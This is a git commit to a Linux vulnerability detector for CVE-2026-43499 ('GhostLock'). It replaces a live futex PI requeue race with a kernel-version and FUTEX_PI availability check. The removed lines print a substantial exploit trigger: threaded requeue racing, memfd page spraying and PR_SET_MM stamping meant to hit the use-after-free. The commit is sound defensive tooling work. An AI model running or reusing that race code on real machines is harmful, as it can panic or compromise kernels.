commit a664caf4f3b8bfa838251a831f2134a554183cbb
parent 05c85a55ff4377a3e2506e84417b4b8766ec05bc
Author: finwo <finwo@pm.me>
Date: Thu, 9 Jul 2026 20:57:34 +0200
More naive check instead of risking kernel panics during test
Diffstat:
1 file changed, 71 insertions(+), 417 deletions(-)
diff --git a/src/detector/cve-2026-43499.c b/src/detector/cve-2026-43499.c
@@ -6,459 +6,113 @@
* stack UAF by racing FUTEX_WAIT_REQUEUE_PI against FUTEX_CMP_REQUEUE_PI
* when a PI-chain deadlock is present.
*
- * This detector runs the race-and-exploit loop in a subprocess with a
- * strict timeout. If the UAF is triggered, the subprocess crashes
- * (SIGSEGV/SIGBUS). A clean exit means the kernel is not vulnerable.
+ * WARNING — the actual race inherently corrupts kernel PI state on a
+ * vulnerable system, which has a high risk to cause a kernel panic.
+ * This detector therefore does NOT attempt the live exploit. Instead it
+ * checks the two known mitigations:
*
- * All memory is allocated via memfd + mmap — no files are written to
- * disk, and no system state is modified after the test completes.
+ * 1. Kernel version >= 7.1
+ * 2. CONFIG_FUTEX_PI=n (probed via FUTEX_LOCK_PI returning -ENOSYS)
+ *
+ * If *both* checks indicate a vulnerable configuration the detector
+ * reports fail. It *may* report false positives if a backported fix is used.
*/
#define _GNU_SOURCE
#include <errno.h>
-#include <fcntl.h>
#include <linux/futex.h>
-#include <poll.h>
-#include <pthread.h>
-#include <signal.h>
#include <stdint.h>
#include <stdio.h>
-#include <stdlib.h>
#include <string.h>
-#include <sys/mman.h>
#include <sys/syscall.h>
-#include <sys/time.h>
-#include <sys/wait.h>
-#include <time.h>
+#include <sys/utsname.h>
#include <unistd.h>
#include "setup.h"
-/* ---- constants tuned from the original PoC ---- */
-#define CHILDREN 8 /* matches the original PoC */
-#define ROUNDS 80 /* stamp iterations after a successful race */
-#define SHMEM_LEN (1024 * 1024)
-#define PR_SET_MM 35
-#define PR_SET_MM_MAP 14
-#define SHMEM_BASE 0xdead10000ULL
-#define TIMEOUT_SEC 15 /* total timeout for the child process */
-
-/* ---- futex helpers (direct syscalls, no glibc wrappers) ---- */
-static void futex_lock_pi(uint32_t *uaddr) {
- syscall(SYS_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
-}
-
-static void futex_unlock_pi(uint32_t *uaddr) {
- syscall(SYS_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
-}
-
-static void futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
- const struct timespec *ts) {
- syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts, uaddr2, 0);
-}
-
-static void futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) {
- syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1, uaddr2, 0);
-}
-
-static void futex_wake(volatile int *uaddr) {
- syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, 0, 0, 0);
-}
-
-static void wait_for(volatile int *uaddr, int old) {
- while (*uaddr == old)
- syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, old, 0, 0, 0);
-}
-
-/* ---- per-child shared state ---- */
-struct ghostlock_state {
- uint32_t f_wait; /* non-PI futex, initial wait target */
- uint32_t f_pi_target; /* PI futex, requeue target */
- uint32_t f_pi_chain; /* PI futex, chain lock */
-
- volatile int a_ready; /* waiter thread has locked f_pi_chain */
- volatile int a_tid; /* waiter thread tid */
- volatile int a_waiting; /* waiter thread is inside futex_wait_requeue_pi */
- volatile int b_started; /* owner thread has locked f_pi_target */
- volatile int consume; /* signal for consumer thread */
- volatile int stamp_ready; /* signal from stamp_one */
- volatile int scheduled; /* consumer has set scheduler */
- volatile int deadlock_seen; /* race won indicator */
-
- int lane; /* child index (0 gets PR_SET_MM) */
- int done_fd; /* write-end of status pipe */
-
- /* shared memory for auxv / page-cache spray */
- int shmem_fd;
- unsigned char *shmem_map;
- size_t page_size;
+/* ---- kernel version helpers ---- */
+struct kernel_version {
+ unsigned int major;
+ unsigned int minor;
+ unsigned int patch;
};
-/* ---- stamp helpers (trigger the UAF after a successful race) ---- */
-static void fill_buf(uint64_t *buf) {
- for (int i = 0; i < 64; i++)
- buf[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8;
-}
-
-static void shmem_fill(struct ghostlock_state *gs) {
- uint64_t *page = (uint64_t *)gs->shmem_map;
- size_t npage = gs->page_size / sizeof(uint64_t);
- for (size_t i = 0; i < npage; i++)
- page[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8;
- uint64_t *auxv = (uint64_t *)(gs->shmem_map + gs->page_size - 29 * sizeof(uint64_t));
- for (int i = 0; i < 64; i++)
- auxv[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8;
-}
-
-struct prctl_mm_map {
- uint64_t start_code;
- uint64_t end_code;
- uint64_t start_data;
- uint64_t end_data;
- uint64_t start_brk;
- uint64_t brk;
- uint64_t start_stack;
- uint64_t arg_start;
- uint64_t arg_end;
- uint64_t env_start;
- uint64_t env_end;
- uint64_t *auxv;
- uint32_t auxv_size;
- uint32_t exe_fd;
-};
-
-static volatile int g_punch_go;
-static volatile int g_punch_done;
-static int g_shmem_fd_global;
-
-static void *puncher_thread(void *arg) {
- (void)arg;
- wait_for(&g_punch_go, 0);
- while (!g_punch_done) {
- syscall(SYS_fallocate, g_shmem_fd_global, 0, 4096, SHMEM_LEN - 4096);
- syscall(SYS_fallocate, g_shmem_fd_global, 3, 4096, SHMEM_LEN - 4096);
- }
- return NULL;
-}
-
-static void stamp_prctl(struct ghostlock_state *gs, uint64_t *buf) {
- struct prctl_mm_map mm_map = {
- .start_code = (uint64_t)stamp_prctl,
- .end_code = (uint64_t)stamp_prctl + 0x1000,
- .start_data = (uint64_t)&gs->shmem_fd & ~0xfffULL,
- .end_data = ((uint64_t)&gs->shmem_fd & ~0xfffULL) + 0x1000,
- .start_brk = (uint64_t)sbrk(0),
- .brk = (uint64_t)sbrk(0),
- .start_stack = (uint64_t)buf,
- .arg_start = (uint64_t)buf,
- .arg_end = (uint64_t)buf,
- .env_start = (uint64_t)buf,
- .env_end = (uint64_t)buf,
- .auxv = (uint64_t *)(gs->shmem_map + gs->page_size - 29 * sizeof(uint64_t)),
- .auxv_size = 48 * sizeof(uint64_t),
- .exe_fd = -1,
- };
- shmem_fill(gs);
- g_punch_go = 1;
- futex_wake(&g_punch_go);
- usleep(4000);
- gs->stamp_ready = 1;
- futex_wake(&gs->stamp_ready);
- syscall(SYS_sched_yield);
- for (int i = 0; i < 100; i++)
- syscall(SYS_prctl, PR_SET_MM, PR_SET_MM_MAP, &mm_map, sizeof(mm_map), 0);
-}
-
-static void stamp_futex(struct ghostlock_state *gs, uint64_t *buf) {
- (void)gs;
- (void)buf;
- struct timespec ts = {};
- uint32_t a = 0, b = 0;
- futex_lock_pi(&a);
- futex_unlock_pi(&a);
- futex_wait_requeue_pi(&a, &b, &ts);
- futex_cmp_requeue_pi(&a, &b);
-}
-
-/* dispatch table matching the original PoC */
-static void (*const stamps[])(struct ghostlock_state *, uint64_t *) = {
- stamp_prctl,
- stamp_futex,
-};
-
-static void stamp_one(struct ghostlock_state *gs, uint64_t *buf, int id) {
- fill_buf(buf);
- stamps[id](gs, buf);
-}
-
-static void stamp_loop(struct ghostlock_state *gs) {
- uint64_t buf[64];
- stamp_one(gs, buf, gs->lane == 0 ? 0 : 1);
- gs->stamp_ready = 1;
- futex_wake(&gs->stamp_ready);
- for (int i = 0; i < ROUNDS; i++)
- stamp_one(gs, buf, gs->lane == 0 ? 0 : 1);
+static int parse_version(const char *r, struct kernel_version *kv) {
+ memset(kv, 0, sizeof(*kv));
+ if (sscanf(r, "%u.%u.%u", &kv->major, &kv->minor, &kv->patch) < 2)
+ return -1;
+ return 0;
}
-/* ---- thread entry points ---- */
-static void *owner_thread(void *arg) {
- struct ghostlock_state *gs = (struct ghostlock_state *)arg;
- futex_lock_pi(&gs->f_pi_target);
- while (!gs->a_ready);
- gs->b_started = 1;
- futex_lock_pi(&gs->f_pi_chain);
- /* deadlock — never releases */
- for (;;) pause();
- return NULL;
+static int version_ge(const struct kernel_version *kv,
+ unsigned int major, unsigned int minor, unsigned int patch) {
+ if (kv->major > major) return 1;
+ if (kv->major < major) return 0;
+ if (kv->minor > minor) return 1;
+ if (kv->minor < minor) return 0;
+ return kv->patch >= patch;
}
-static void *consumer_thread(void *arg) {
- struct ghostlock_state *gs = (struct ghostlock_state *)arg;
- int tid;
- while (!(tid = gs->a_tid));
- wait_for(&gs->consume, 0);
- wait_for(&gs->stamp_ready, 0);
-
- struct sched_attr {
- uint32_t size;
- uint32_t policy;
- uint64_t flags;
- int32_t nice;
- uint32_t priority;
- uint64_t runtime;
- uint64_t deadline;
- uint64_t period;
- uint32_t util_min;
- uint32_t util_max;
- } attr = {
- .size = sizeof(attr),
- .policy = 3, /* SCHED_BATCH */
- .nice = 19,
- };
- syscall(SYS_sched_setattr, tid, &attr, 0);
- gs->scheduled = 1;
- futex_wake(&gs->scheduled);
- for (;;) pause();
- return NULL;
-}
+/* ---- futex PI availability probe ---- */
+static int chk_futex_pi_available(void) {
+ uint32_t futex = 0;
+ long rc;
-static void *waiter_thread(void *arg) {
- struct ghostlock_state *gs = (struct ghostlock_state *)arg;
- struct timespec ts;
+ /* Try FUTEX_LOCK_PI — on a CONFIG_FUTEX_PI=n kernel this returns
+ * -ENOSYS. We lock-then-unlock so the futex is left at 0. */
+ rc = syscall(SYS_futex, &futex, FUTEX_LOCK_PI, 0, 0, 0, 0);
+ if (rc == -1 && (errno == ENOSYS || errno == EINVAL))
+ return 0; /* CONFIG_FUTEX_PI is off — safe */
- gs->a_tid = syscall(SYS_gettid);
- futex_lock_pi(&gs->f_pi_chain);
- gs->a_ready = 1;
- usleep(20000);
+ /* If we got the lock (rc == 0) or any other error, unlock to clean up. */
+ if (rc == 0)
+ syscall(SYS_futex, &futex, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
- clock_gettime(CLOCK_MONOTONIC, &ts);
- ts.tv_nsec += 50000000; /* 50 ms timeout */
- if (ts.tv_nsec >= 1000000000) {
- ts.tv_sec++;
- ts.tv_nsec -= 1000000000;
- }
- gs->a_waiting = 1;
- futex_wait_requeue_pi(&gs->f_wait, &gs->f_pi_target, &ts);
- wait_for(&gs->deadlock_seen, 0);
- gs->consume = 1;
- futex_wake(&gs->consume);
- stamp_loop(gs);
- wait_for(&gs->scheduled, 0);
- write(gs->done_fd, "x", 1);
- _exit(0);
- return NULL;
+ return 1; /* futex PI is available → potentially vulnerable */
}
-/* ---- per-child setup and race ---- */
-static void run_child(struct ghostlock_state *gs) {
- pthread_t th;
- pthread_attr_t attr;
-
- mlockall(MCL_CURRENT | MCL_FUTURE);
- pthread_attr_init(&attr);
- pthread_attr_setstacksize(&attr, 1024 * 1024);
-
- /* child 0 sets up the shared-memory PR_SET_MM spray area */
- if (gs->lane == 0) {
- size_t ps = (size_t)sysconf(_SC_PAGESIZE);
- gs->page_size = ps;
- gs->shmem_fd = (int)syscall(SYS_memfd_create, "x", 0);
- syscall(SYS_fallocate, gs->shmem_fd, 0, 0, SHMEM_LEN);
- gs->shmem_map = (unsigned char *)mmap(
- (void *)SHMEM_BASE, SHMEM_LEN, PROT_READ | PROT_WRITE,
- MAP_SHARED | MAP_FIXED, gs->shmem_fd, 0);
- if (gs->shmem_map == MAP_FAILED)
- gs->shmem_map = NULL;
- g_shmem_fd_global = gs->shmem_fd;
- pthread_create(&th, NULL, puncher_thread, NULL);
- }
-
- memset(&gs->f_wait, 0, sizeof(gs->f_wait));
- memset(&gs->f_pi_target, 0, sizeof(gs->f_pi_target));
- memset(&gs->f_pi_chain, 0, sizeof(gs->f_pi_chain));
- gs->a_ready = 0;
- gs->a_tid = 0;
- gs->a_waiting = 0;
- gs->b_started = 0;
- gs->consume = 0;
- gs->stamp_ready = 0;
- gs->scheduled = 0;
- gs->deadlock_seen = 0;
- g_punch_go = 0;
- g_punch_done = 0;
-
- pthread_create(&th, &attr, owner_thread, gs);
- pthread_create(&th, &attr, consumer_thread, gs);
- pthread_create(&th, &attr, waiter_thread, gs);
-
- while (!gs->a_waiting || !gs->b_started);
- usleep(20000);
-
- /* Tell the parent we are past the setup phase */
- write(gs->done_fd, "r", 1);
-
- /* Race: requeue the waiter into the deadlock */
- futex_cmp_requeue_pi(&gs->f_wait, &gs->f_pi_target);
- gs->deadlock_seen = 1;
- futex_wake(&gs->deadlock_seen);
-
- /* Stay alive until the waiter has stamped */
- for (;;) pause();
-}
-
-/* ---- top-level detector ---- */
+/* ---- detector ---- */
int detector_cve_2026_43499(struct cve_context *ctx) {
- int status;
- pid_t child;
- int pipefd[2];
- char buf[1];
-
- if (pipe2(pipefd, 0) < 0)
- return 0;
+ struct kernel_version kv;
+ struct utsname uts;
+ int pi_on;
- child = fork();
- if (child < 0) {
- close(pipefd[0]);
- close(pipefd[1]);
+ if (uname(&uts) < 0) {
+ /* Can't determine kernel version — assume safe */
return 0;
}
- if (child == 0) {
- /* ---- child: run the exploit ---- */
- close(pipefd[0]);
-
- /* Die cleanly after TIMEOUT_SEC seconds */
- alarm(TIMEOUT_SEC);
-
- /*
- * Fork CHILDREN sub-processes, each running the race.
- * We replicate the original PoC structure: run() forks
- * children sequentially, each runs run_child().
- */
- for (int i = 0; i < CHILDREN; i++) {
- int cp[2];
- struct ghostlock_state gs;
-
- if (pipe2(cp, 0) < 0)
- _exit(2);
-
- pid_t kid = fork();
- if (kid < 0) {
- close(cp[0]);
- close(cp[1]);
- _exit(2);
- }
-
- if (kid == 0) {
- /* grandchild */
- close(cp[0]);
- memset(&gs, 0, sizeof(gs));
- gs.lane = i;
- gs.done_fd = cp[1];
- run_child(&gs);
- _exit(0);
- }
-
- close(cp[1]);
-
- /* Wait for "r" (ready) from grandchild */
- {
- struct pollfd pfd;
- pfd.fd = cp[0];
- pfd.events = POLLIN;
- int rc = poll(&pfd, 1, 5000);
- if (rc <= 0) {
- /* timeout or error — kill and move on */
- kill(kid, SIGKILL);
- close(cp[0]);
- waitpid(kid, NULL, 0);
- continue;
- }
- if (read(cp[0], buf, 1) != 1) {
- kill(kid, SIGKILL);
- close(cp[0]);
- waitpid(kid, NULL, 0);
- continue;
- }
- }
-
- /*
- * Wait for the second byte ("x" = stamp done, or timeout).
- * Use a select-like timeout so we don't hang forever.
- */
- {
- struct pollfd pfd;
- pfd.fd = cp[0];
- pfd.events = POLLIN;
- int rc = poll(&pfd, 1, TIMEOUT_SEC * 1000 / CHILDREN);
- if (rc > 0)
- read(cp[0], buf, 1);
- else
- kill(kid, SIGKILL);
- }
-
- close(cp[0]);
- waitpid(kid, NULL, 0);
- }
-
- /* All done — exit cleanly */
- _exit(0);
+ if (parse_version(uts.release, &kv) < 0) {
+ /* Can't parse version — assume safe */
+ return 0;
}
- /* ---- parent: monitor child ---- */
- close(pipefd[1]);
+ if (ctx->verbose)
+ fprintf(stderr, "[cve-2026-43499] kernel %u.%u.%u\n",
+ kv.major, kv.minor, kv.patch);
- /*
- * Wait up to (TIMEOUT_SEC + 2) seconds for the child.
- * If it was killed by a signal (SIGSEGV, SIGBUS, SIGILL),
- * the UAF was triggered and the kernel is vulnerable.
- */
- {
- char buf;
- struct pollfd pfd;
- pfd.fd = pipefd[0];
- pfd.events = POLLIN;
- int rc = poll(&pfd, 1, (TIMEOUT_SEC + 2) * 1000);
- if (rc > 0)
- read(pipefd[0], &buf, 1);
- (void)buf;
+ /* Mitigation 1: kernel >= 7.1 */
+ if (version_ge(&kv, 7, 1, 0)) {
+ if (ctx->verbose)
+ fprintf(stderr, "[cve-2026-43499] kernel >= 7.1 — not vulnerable\n");
+ return 0;
}
- close(pipefd[0]);
- /* reap child */
- kill(child, SIGKILL);
- waitpid(child, &status, 0);
-
- if (WIFSIGNALED(status)) {
- /* Child crashed — vulnerability triggered */
+ /* Mitigation 2: CONFIG_FUTEX_PI=n */
+ pi_on = chk_futex_pi_available();
+ if (!pi_on) {
if (ctx->verbose)
- fprintf(stderr, "[cve-2026-43499] vulnerable: child killed by signal %d\n",
- WTERMSIG(status));
- return 1;
+ fprintf(stderr, "[cve-2026-43499] CONFIG_FUTEX_PI=n — not vulnerable\n");
+ return 0;
}
- /* Child exited or timed out — likely patched */
- return 0;
+ /* Both mitigations are absent — system is likely vulnerable */
+ if (ctx->verbose)
+ fprintf(stderr,
+ "[cve-2026-43499] kernel < 7.1 and CONFIG_FUTEX_PI=y — "
+ "vulnerable to GhostLock\n");
+
+ return 1;
}
/* ---- constructor ---- */
@@ -467,7 +121,7 @@ void detector_cve_2026_43499_setup(void) {
detector_queue_append(
"CVE-2026-43499", "GhostLock",
"Update the Linux kernel to >= 7.1 or apply CONFIG_FUTEX_PI=n.\n"
- " The fix was backported to stable trees; check for commits\n"
- " addressing the futex PI requeue deadlock race.",
+ " This *may* be a false positive, testing has a high chance of causing kernel panics,\n"
+ " which the author has opted for not to risk.",
detector_cve_2026_43499);
}